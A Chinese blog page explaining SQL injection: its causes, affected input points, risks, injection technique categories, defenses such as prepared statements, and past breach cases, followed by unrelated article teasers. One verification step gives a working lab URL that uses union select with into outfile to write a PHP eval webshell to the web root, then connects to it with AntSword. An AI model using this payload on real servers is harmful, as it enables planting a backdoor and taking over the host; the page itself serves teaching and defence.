当前位置： 首页 > news >正文

SQL 注入漏洞详解

news 2026/4/26 15:48:05

SQL 注入漏洞详解

漏洞描述

sql注入漏洞是指恶意用户在应用与数据库交互的地方利用非法的操作获取数据库内容从以下两点分析:

  • 没有对用户输入的数据进行充分的过滤和验证，导致一些用户利用此漏洞向数据库插入恶意sql语句非法请求数据库从而获得一些敏感数据
  • 在与数据库交时未对用户可控参数进行足够的过滤，便将参数内容拼接到SOL 语句中，修改原有的sql语句逻辑，从而对数据库进行非法操作。

漏洞原理

通常在与数据库交互的地方，开发人员在处理和数据库交互时，未设置充足的过滤与验证或没对用户输入的参数进行控制时，非法用户利用漏洞，打破原有的sql语句，篡改原有语句的逻辑，从而使得数据库执行被篡改的sql语句，请求非正常授权内容。严重导致数据库数据泄露，数据篡改等

漏洞场景

sql注入漏洞一般存在于与数据交互的地方，例如:

  • url参数传递
  • 表单提交
  • 搜索框
  • http头文件
    • cookie
    • User-Agent
    • Referer

漏洞评级

漏洞等级：高危

漏洞危害

SQL注入漏洞可能会导致严重的安全问题，其中包括

  • 数据库数据泄露
  • 数据库篡改
  • 拒绝服务
  • 数据库信息丢失
  • 如果数据库权限分配不当或本身就存在缺陷，那么攻击者就会通过该漏洞直接获取webshell或服务器权限

漏洞验证

联合查询时使用into outfile函数进行文件上传
回显位写入一句话木马 最后加上函数和要上传的绝对路径

http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+

在这里插入图片描述
文件上传成功使用密码777进行连接测试phpinfo
在这里插入图片描述
打开蚁剑进行连接
在这里插入图片描述

漏洞利用

  1. 五大注入手法
  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  1. 其他注入
  • 宽字节注入
  • HTTP头部注入
    • cookie注入
    • User-Agent注入
    • Base64注入
    • Referer注入
  • OOB 注入

防御方案

  • 避免采用拼接的方式构造 SQL 语句，可以采用PDO预编译等技术；

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备，如 WAF。定制武器库

典型案例

2008年，Heartland Payment Systems公司遭受了一次SQL注入攻击，导致超过1300万张信用卡信息被窃取。攻击者利用了Heartland Payment Systems公司的网站上存在的SQL注入漏洞，注入了恶意代码，从而获取了信用卡信息。

2015年，美国联邦政府办公室人事管理局遭受了一次SQL注入攻击，导致超过2100万名联邦雇员的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞，注入了恶意代码，从而获取了个人信息。

2016年，菲律宾选举委员会遭受了一次SQL注入攻击，导致超过550万名选民的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞，注入了恶意代码，从而获取了选民的个人信息。

这些案例表明，SQL注入漏洞是一种非常严重的安全威胁，可以导致大量敏感数据被窃取。因此，开发人员和网站管理员需要认真对待SQL注入漏洞，采取必要的措施来防范和修复这种漏洞。

相关文章：

SQL 注入漏洞详解

SQL 注入漏洞详解 漏洞描述 sql注入漏洞是指恶意用户在应用与数据库交互的地方利用非法的操作获取数据库内容从以下两点分析: 没有对用户输入的数据进行充分的过滤和验证&#xff0c;导致一些用户利用此漏洞向数据库插入恶意sql语句非法请求数据库从而获得一些敏感数据在与数…...

编程日记 2023/11/9 23:49:36

关于阿里云 ACK ingress部分补充

强调&#xff1a; 本文只是作为记录,过一段时间会删除 跟唐老师学习网络 一 Nginx Ingress管理 ① 流量走向 需求&#xff1a; 应用绑定LoadBalance,会自动创建或使用SLBeip:port --> nodeport_ip:port --> service_ip:port --> pod_ip:port 支持的注解 通过…...

编程日记 2023/11/9 23:48:35

轻量封装WebGPU渲染系统示例＜22＞- 渲染到纹理(RTT)(源码)

当前示例源码github地址: https://github.com/vilyLei/voxwebgpu/blob/feature/rendering/src/voxgpu/sample/RTTTest.ts 当前示例运行效果: 此示例基于此渲染系统实现&#xff0c;当前示例TypeScript源码如下: export class RTTTest {private mRscene new RendererScene()…...

编程日记 2023/11/9 23:47:32

官方Redis视图化工具Redisinsight

一、下载最新版本的 docker pull redislabs/redisinsight mkdir /data/redisinsight docker run -d -u root -p 8001:8001 -v /etc/localtime:/etc/localtime -v /data/redisinsight:/db --restartunless-stopped redislabs/redisinsight:latest 二、浏览器打开 http://192…...

编程日记 2023/11/9 23:46:31

Vue+Django REST framework 打造生鲜电商项目课程下载树大根深

VueDjango REST framework 打造生鲜电商项目 链接&#xff1a;https://pan.baidu.com/s/1kEDxPsoTYSVWPYB2H0jbBw?pwd6666 提取码&#xff1a;6666Django是高水准的Python编程语言驱动的一个开源模型&#xff0e;视图&#xff0c;控制器风格的Web应用程序框架&#xff0c;它…...

编程日记 2023/11/9 23:45:31

react中遇到的分页问题

问题&#xff1a; 1.使用useState时不能够进行当前页码的改变&#xff0c;数据不会随着页码变化 2.删除当前页的最后一条数据时&#xff0c;页码返回上一页但是数据为空 解决&#xff1a; 1.由于useState和useRef的区别那我们就不考虑使用useState 2.再删除的逻辑当中添加判断条…...

编程日记 2023/11/9 23:44:28

变电站自动化系统中的安全措施分析及应用-安科瑞

安科瑞电气股份有限公司 上海嘉定 201801 摘要&#xff1a;阐述变电运行中的问题&#xff0c;电气自动化系统与安全运行措施&#xff0c;包括自动控制设备的投入&#xff0c;电气自动 化与计算机技术相、设备数据的采集与处理、自动化系统的升级、人工智能技术的应用。 关键…...

编程日记 2023/11/9 23:43:26

【MongoDB】索引 – 文本索引

一、准备工作 这里准备一些数据 db.books.insertMany([{_id: 1, name: "Java", description: "java 入门图书", translation: [{ language: "english", description: "java basic book" }]},{_id: 2, name: "C", descript…...

编程日记 2023/11/9 23:42:25

【广州华锐互动】影视制作VR在线学习：身临其境，提高学习效率

随着科技的不断发展&#xff0c;影视后期制作技术也在日新月异。然而&#xff0c;传统的教学方式往往难以满足学员的学习需求&#xff0c;无法充分展现影视后期制作的魅力和潜力。近年来&#xff0c;虚拟现实(VR)技术的崛起为教学领域带来了新的机遇。通过VR教学课件&#xff0…...

编程日记 2023/11/9 23:41:24

Linux 命令：PS（进程状态）

1. 写在前面 本文主要介绍&#xff1a;Linux 下常用命令 PS —— 进程状态&#xff1b; 公众号&#xff1a; 滑翔的纸飞机 2. PS — 介绍&#xff08;进程状态&#xff09; ps 命令&#xff1a;显示 Linux 系统中运行进程有关的信息。 rootdev:~# psPID TTY TIME C…...

编程日记 2023/11/9 23:40:23

手把手教你：LLama2原始权重转HF模型

LLama2是meta最新开源的语言大模型&#xff0c;训练数据集2万亿token&#xff0c;上下文长度由llama的2048扩展到4096&#xff0c;可以理解和生成更长的文本&#xff0c;包括7B、13B和70B三个模型&#xff0c;在各种基准集的测试上表现突出&#xff0c;该模型可用于研究和商业用…...

编程日记 2023/11/9 23:38:22

后入能先出，一文搞懂栈

目录 什么是栈数组实现链表实现栈能这么玩总结 什么是栈 栈在我们日常编码中遇到的非常多&#xff0c;很多人对栈的接触可能仅仅局限在 递归使用的栈 和 StackOverflowException&#xff0c;栈是一种后进先出的数据结构(可以想象生化金字塔的牢房和生化角斗场的狗洞)。 栈&…...

编程日记 2023/11/9 23:37:21

京东API接口的应用场景：商品信息查询，商品详情获取

京东API接口的应用场景涵盖了电商业务的各个方面&#xff0c;通过API的方式&#xff0c;开发者可以方便地获取京东平台上的商品信息、用户信息、订单信息等&#xff0c;进而进行个性化的应用开发。以下是几个典型的应用场景&#xff1a; 商品信息查询&#xff1a;通过京东API接…...

编程日记 2023/11/9 23:36:20

微信小程序使用iconfont坑

下载解压 font-face {font-family: "iconfont"; /* Project id 4322044 */src: url(iconfont.woff2?t1699515502419) format(woff2),url(iconfont.woff?t1699515502419) format(woff),url(iconfont.ttf?t1699515502419) format(truetype); }.iconfont {font-famil…...

编程日记 2023/11/9 23:34:18

最新Cocos Creator 3.x 如何动态修改3D物体的透明度

Cocos Creator 3.x 的2D UI有个组件UIOpacity组件可以动态修改UI的透明度,非常方便。很多同学想3D物体上也有一个这样的组件来动态的控制与修改3D物体的透明度。今天基于Cocos Creator 3.8 来实现一个可以动态修改3D物体透明度的组件Opacity3D。 对啦&#xff01;这里有个游戏…...

编程日记 2023/11/9 23:33:17

golang 2018，go 1.19安装Gin

GOPROXYhttps://mirrors.aliyun.com/goproxy/ 一致提示URL不能有点&#xff0c;给我整郁闷了&#xff0c;换了这个地址好了 但是一致提示zip的包问题&#xff0c;最后还是不行又换回七牛 NEWBEE&#xff01; [GIN-debug] Environment variable PORT is undefined. Using por…...

编程日记 2023/11/9 23:32:16

常用的三角函数公式

sin ⁡ 2 x cos ⁡ 2 x 1 \sin ^2 x \cos ^2 x 1 sin2xcos2x1 tan ⁡ x sin ⁡ x cos ⁡ x \tan x \dfrac{\sin x}{\cos x} tanxcosxsinx​ cot ⁡ x 1 tan ⁡ x cos ⁡ x sin ⁡ x \cot x \dfrac{1}{\tan x}\dfrac{\cos x}{\sin x} cotxtanx1​sinxcosx​ sec …...

编程日记 2023/11/9 23:31:15

【MySQL】一文学会所有MySQL基础知识以及基本面试题

文章目录 前言 目录 文章目录 前言 一、主流数据库以及如何登陆数据库 二、常用命令使用 三、SQL分类 3.1 存储引擎 四、创建数据库如何设置编码等问题 4.1操纵数据库 4.2操纵表 五、数据类型 六、表的约束 七、基本查询 八、函数 九、复合查询 十、表的内连和外连 十一、索引…...

编程日记 2023/11/9 23:30:14

self.register_buffer方法使用解析(pytorch)

self.register_buffer就是pytorch框架用来保存不更新参数的方法。 列子如下&#xff1a; self.register_buffer("position_emb", torch.randn((5, 3)))第一个参数position_emb传入一个字符串&#xff0c;表示这组参数的名字&#xff0c;第二个就是tensor形式的参数…...

编程日记 2023/11/9 23:28:11

关于卷积神经网络中如何计算卷积核大小（kernels）

首先需要说明的一点是&#xff0c;虽然卷积层得名于卷积&#xff08; convolution &#xff09;运算&#xff0c;但我们通常在卷积层中使用更加直观的计算方式&#xff0c;叫做互相关&#xff08; cross-correlation &#xff09;运算。 也就是说&#xff0c;其实我们现在在这里…...

编程日记 2023/11/9 23:27:10

CVAT本地部署保姆级教程：用Docker Compose在Ubuntu上5分钟搞定你的私有数据标注平台

CVAT本地部署实战指南&#xff1a;UbuntuDocker Compose快速搭建私有标注平台 在计算机视觉项目的开发流程中&#xff0c;数据标注往往是耗时最长的环节之一。当处理敏感数据或需要团队协作时&#xff0c;本地化部署的专业标注工具成为刚需。CVAT&#xff08;Computer Vision A…...

编程新知 2026/4/26 15:47:50

Blender 3MF插件：让3D打印从设计到成品零误差 [特殊字符]

Blender 3MF插件&#xff1a;让3D打印从设计到成品零误差 &#x1f680; 【免费下载链接】Blender3mfFormat Blender add-on to import/export 3MF files 项目地址: https://gitcode.com/gh_mirrors/bl/Blender3mfFormat 还在为3D打印时材质信息丢失而烦恼吗&#xff1f…...

编程新知 2026/4/26 14:27:25

别再乱改iptables了！搞懂Docker自动生成的DOCKER-USER链，安全配置不踩坑

深入理解Docker网络安全&#xff1a;DOCKER-USER链的正确使用姿势 当你在深夜调试Docker容器时&#xff0c;突然发现所有网络请求都神秘消失了——这可能是iptables规则被误操作的典型症状。许多开发者习惯直接修改FORWARD链或INPUT链&#xff0c;却不知Docker早已为我们准备了…...

编程新知 2026/4/26 11:48:50

用LC118这颗SOP-8小芯片，搞定你的3V玩具小车电机正反转（附完整电路）

用LC118这颗SOP-8小芯片打造3V玩具小车电机驱动方案 在微型机器人或玩具车设计中&#xff0c;电机驱动电路往往是决定整体性能的关键环节。当项目受限于两节AA电池或单节锂电池供电时&#xff0c;传统驱动方案常面临电压不足、功耗过大或体积超标等问题。LC118这颗SOP-8封装的驱…...

编程新知 2026/4/26 10:43:17

5分钟快速上手：PCL启动器 - 最友好的Minecraft游戏启动解决方案

5分钟快速上手&#xff1a;PCL启动器 - 最友好的Minecraft游戏启动解决方案 【免费下载链接】PCL Minecraft 启动器 Plain Craft Launcher&#xff08;PCL&#xff09;。 项目地址: https://gitcode.com/gh_mirrors/pc/PCL 想要轻松玩转Minecraft却苦于复杂的启动过程&a…...

编程新知 2026/4/26 10:13:02

GPT-oss:20b应用场景解析：从智能客服到代码助手实战案例

GPT-oss:20b应用场景解析&#xff1a;从智能客服到代码助手实战案例 1. 引言&#xff1a;开源大模型的平民化革命 在人工智能领域&#xff0c;大型语言模型正以前所未有的速度改变着各行各业的工作方式。然而&#xff0c;传统闭源大模型的高昂使用成本和数据隐私问题&#xf…...

编程新知 2026/4/26 9:58:57

OmniParser：纯视觉GUI智能体的屏幕解析与自动化操作实践

1. 项目概述&#xff1a;从屏幕截图到结构化元素的桥梁 在构建一个能真正“看懂”并操作图形用户界面的智能体时&#xff0c;最大的挑战是什么&#xff1f;不是让它理解复杂的自然语言指令&#xff0c;而是让它能像人类一样&#xff0c;一眼看懂屏幕上密密麻麻的图标、按钮、文…...

编程新知 2026/4/26 9:15:55

机器学习中的概率论核心与应用实践

1. 概率在机器学习中的核心地位作为一名长期从事机器学习实践的工程师&#xff0c;我深刻体会到概率论对于这个领域的重要性。概率不仅仅是数学课上的一个抽象概念&#xff0c;而是我们处理现实世界数据不确定性的核心工具。在真实项目中&#xff0c;我们面对的数据永远存在噪声…...

编程新知 2026/4/26 8:49:32

5分钟彻底掌握ncmdumpGUI：你的网易云音乐NCM文件终极解密方案

5分钟彻底掌握ncmdumpGUI&#xff1a;你的网易云音乐NCM文件终极解密方案 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换&#xff0c;Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 还在为网易云音乐的NCM加密格式无法在…...

编程新知 2026/4/26 8:35:23

快速提取视频字幕：本地OCR工具的完整使用指南

快速提取视频字幕&#xff1a;本地OCR工具的完整使用指南 【免费下载链接】video-subtitle-extractor 视频硬字幕提取&#xff0c;生成srt文件。无需申请第三方API&#xff0c;本地实现文本识别。基于深度学习的视频字幕提取框架&#xff0c;包含字幕区域检测、字幕内容提取。A…...

编程新知 2026/4/26 8:00:47